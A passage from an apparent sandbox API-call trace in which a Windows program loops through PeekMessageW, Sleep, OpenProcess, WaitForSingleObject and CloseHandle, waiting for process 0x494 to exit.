wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.450] Sleep (dwMilliseconds=0x1) [0134.466] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.466] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.482] CloseHandle (hObject=0x190) returned 1 [0134.482] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.482] Sleep (dwMilliseconds=0x1) [0134.497] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.497] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.512] CloseHandle (hObject=0x190) returned 1 [0134.513] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.513] Sleep (dwMilliseconds=0x1) [0134.531] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.531] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.544] CloseHandle (hObject=0x190) returned 1 [0134.544] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.544] Sleep (dwMilliseconds=0x1) [0134.561] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.561] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.575] CloseHandle (hObject=0x190) returned 1 [0134.575] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.575] Sleep (dwMilliseconds=0x1) [0134.591] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.591] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.606] CloseHandle (hObject=0x190) returned 1 [0134.606] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.606] Sleep (dwMilliseconds=0x1) [0134.622] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.622] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.637] CloseHandle (hObject=0x190) returned 1 [0134.637] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.637] Sleep (dwMilliseconds=0x1) [0134.653] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.653] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.668] CloseHandle (hObject=0x190) returned 1 [0134.668] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.669] Sleep (dwMilliseconds=0x1) [0134.684] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.684] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.700] CloseHandle (hObject=0x190) returned 1 [0134.700] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.700] Sleep (dwMilliseconds=0x1) [0134.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.716] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.734] CloseHandle (hObject=0x190) returned 1 [0134.734] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.734] Sleep (dwMilliseconds=0x1) [0134.747] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.747] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.762] CloseHandle (hObject=0x190) returned 1 [0134.762] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.762] Sleep (dwMilliseconds=0x1) [0134.782] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.782] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.793] CloseHandle (hObject=0x190) returned 1 [0134.793] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.794] Sleep (dwMilliseconds=0x1) [0134.809] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.809] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.824] CloseHandle (hObject=0x190) returned 1 [0134.825] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.825] Sleep (dwMilliseconds=0x1) [0134.840] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.840] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.856] CloseHandle (hObject=0x190) returned 1 [0134.856] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.856] Sleep (dwMilliseconds=0x1) [0134.871] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.872] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.887] CloseHandle (hObject=0x190) returned 1 [0134.887] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.887] Sleep (dwMilliseconds=0x1) [0134.903] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.903] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.918] CloseHandle (hObject=0x190) returned 1 [0134.918] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.918] Sleep (dwMilliseconds=0x1) [0134.937] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.937] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.951] CloseHandle (hObject=0x190) returned 1 [0134.951] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.951] Sleep (dwMilliseconds=0x1) [0134.965] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.965] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0134.982] CloseHandle (hObject=0x190) returned 1 [0134.982] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0134.982] Sleep (dwMilliseconds=0x1) [0134.996] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0134.996] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.012] CloseHandle (hObject=0x190) returned 1 [0135.012] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.012] Sleep (dwMilliseconds=0x1) [0135.028] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.028] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.043] CloseHandle (hObject=0x190) returned 1 [0135.043] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.043] Sleep (dwMilliseconds=0x1) [0135.059] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.059] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.074] CloseHandle (hObject=0x190) returned 1 [0135.074] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.074] Sleep (dwMilliseconds=0x1) [0135.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.090] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.105] CloseHandle (hObject=0x190) returned 1 [0135.105] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.105] Sleep (dwMilliseconds=0x1) [0135.121] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.121] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.136] CloseHandle (hObject=0x190) returned 1 [0135.136] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.137] Sleep (dwMilliseconds=0x1) [0135.152] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.152] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.168] CloseHandle (hObject=0x190) returned 1 [0135.168] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.168] Sleep (dwMilliseconds=0x1) [0135.183] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.184] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.205] CloseHandle (hObject=0x190) returned 1 [0135.205] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.205] Sleep (dwMilliseconds=0x1) [0135.215] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.215] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.230] CloseHandle (hObject=0x190) returned 1 [0135.230] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.230] Sleep (dwMilliseconds=0x1) [0135.250] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.250] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.261] CloseHandle (hObject=0x190) returned 1 [0135.261] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.261] Sleep (dwMilliseconds=0x1) [0135.280] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.280] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.292] CloseHandle (hObject=0x190) returned 1 [0135.292] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.292] Sleep (dwMilliseconds=0x1) [0135.308] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.308] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.324] CloseHandle (hObject=0x190) returned 1 [0135.324] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.324] Sleep (dwMilliseconds=0x1) [0135.340] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.340] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.355] CloseHandle (hObject=0x190) returned 1 [0135.355] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.355] Sleep (dwMilliseconds=0x1) [0135.371] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.371] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.386] CloseHandle (hObject=0x190) returned 1 [0135.386] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.386] Sleep (dwMilliseconds=0x1) [0135.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.402] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.417] CloseHandle (hObject=0x190) returned 1 [0135.417] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.417] Sleep (dwMilliseconds=0x1) [0135.433] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.433] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.448] CloseHandle (hObject=0x190) returned 1 [0135.448] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.449] Sleep (dwMilliseconds=0x1) [0135.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.465] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.480] CloseHandle (hObject=0x190) returned 1 [0135.480] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.480] Sleep (dwMilliseconds=0x1) [0135.496] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.496] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.511] CloseHandle (hObject=0x190) returned 1 [0135.511] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.511] Sleep (dwMilliseconds=0x1) [0135.527] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.527] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.542] CloseHandle (hObject=0x190) returned 1 [0135.542] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.542] Sleep (dwMilliseconds=0x1) [0135.558] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.558] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.574] CloseHandle (hObject=0x190) returned 1 [0135.574] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.574] Sleep (dwMilliseconds=0x1) [0135.589] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.589] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.604] CloseHandle (hObject=0x190) returned 1 [0135.605] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.605] Sleep (dwMilliseconds=0x1) [0135.620] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.620] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.636] CloseHandle (hObject=0x190) returned 1 [0135.636] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.636] Sleep (dwMilliseconds=0x1) [0135.652] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.652] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.674] CloseHandle (hObject=0x190) returned 1 [0135.674] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.674] Sleep (dwMilliseconds=0x1) [0135.684] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.684] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.704] CloseHandle (hObject=0x190) returned 1 [0135.704] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.704] Sleep (dwMilliseconds=0x1) [0135.714] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.714] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.729] CloseHandle (hObject=0x190) returned 1 [0135.729] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.729] Sleep (dwMilliseconds=0x1) [0135.745] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.745] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.760] CloseHandle (hObject=0x190) returned 1 [0135.760] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.760] Sleep (dwMilliseconds=0x1) [0135.776] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.776] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.792] CloseHandle (hObject=0x190) returned 1 [0135.793] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.793] Sleep (dwMilliseconds=0x1) [0135.818] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.818] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.823] CloseHandle (hObject=0x190) returned 1 [0135.823] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.823] Sleep (dwMilliseconds=0x1) [0135.839] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.839] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.854] CloseHandle (hObject=0x190) returned 1 [0135.854] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.854] Sleep (dwMilliseconds=0x1) [0135.870] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.870] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.885] CloseHandle (hObject=0x190) returned 1 [0135.885] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.885] Sleep (dwMilliseconds=0x1) [0135.901] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.901] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.917] CloseHandle (hObject=0x190) returned 1 [0135.917] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.917] Sleep (dwMilliseconds=0x1) [0135.935] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.935] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.948] CloseHandle (hObject=0x190) returned 1 [0135.948] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.948] Sleep (dwMilliseconds=0x1) [0135.968] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.968] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0135.979] CloseHandle (hObject=0x190) returned 1 [0135.979] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0135.979] Sleep (dwMilliseconds=0x1) [0135.995] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0135.995] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0136.010] CloseHandle (hObject=0x190) returned 1 [0136.010] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.010] Sleep (dwMilliseconds=0x1) [0136.026] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0136.026] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0136.042] CloseHandle (hObject=0x190) returned 1 [0136.042] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.042] Sleep (dwMilliseconds=0x1) [0136.060] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0136.060] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0136.072] CloseHandle (hObject=0x190) returned 1 [0136.072] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.073] Sleep (dwMilliseconds=0x1) [0136.091] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0136.091] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0136.104] CloseHandle (hObject=0x190) returned 1 [0136.104] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.104] Sleep (dwMilliseconds=0x1) [0136.120] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0136.120] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0136.135] CloseHandle (hObject=0x190) returned 1 [0136.135] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.135] Sleep (dwMilliseconds=0x1) [0136.151] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0136.151] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0136.166] CloseHandle (hObject=0x190) returned 1 [0136.166] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.166] Sleep (dwMilliseconds=0x1) [0136.182] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0136.182] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0136.197] CloseHandle (hObject=0x190) returned 1 [0136.197] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.197] Sleep (dwMilliseconds=0x1) [0136.219] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0136.219] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0136.228] CloseHandle (hObject=0x190) returned 1 [0136.228] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.229] Sleep (dwMilliseconds=0x1) [0136.244] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0136.244] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0136.260] CloseHandle (hObject=0x190) returned 1 [0136.260] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.260] Sleep (dwMilliseconds=0x1) [0136.275] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0136.275] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0136.291] CloseHandle (hObject=0x190) returned 1 [0136.292] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0136.292] Sleep (dwMilliseconds=0x1) [0136.307] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0136.307] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 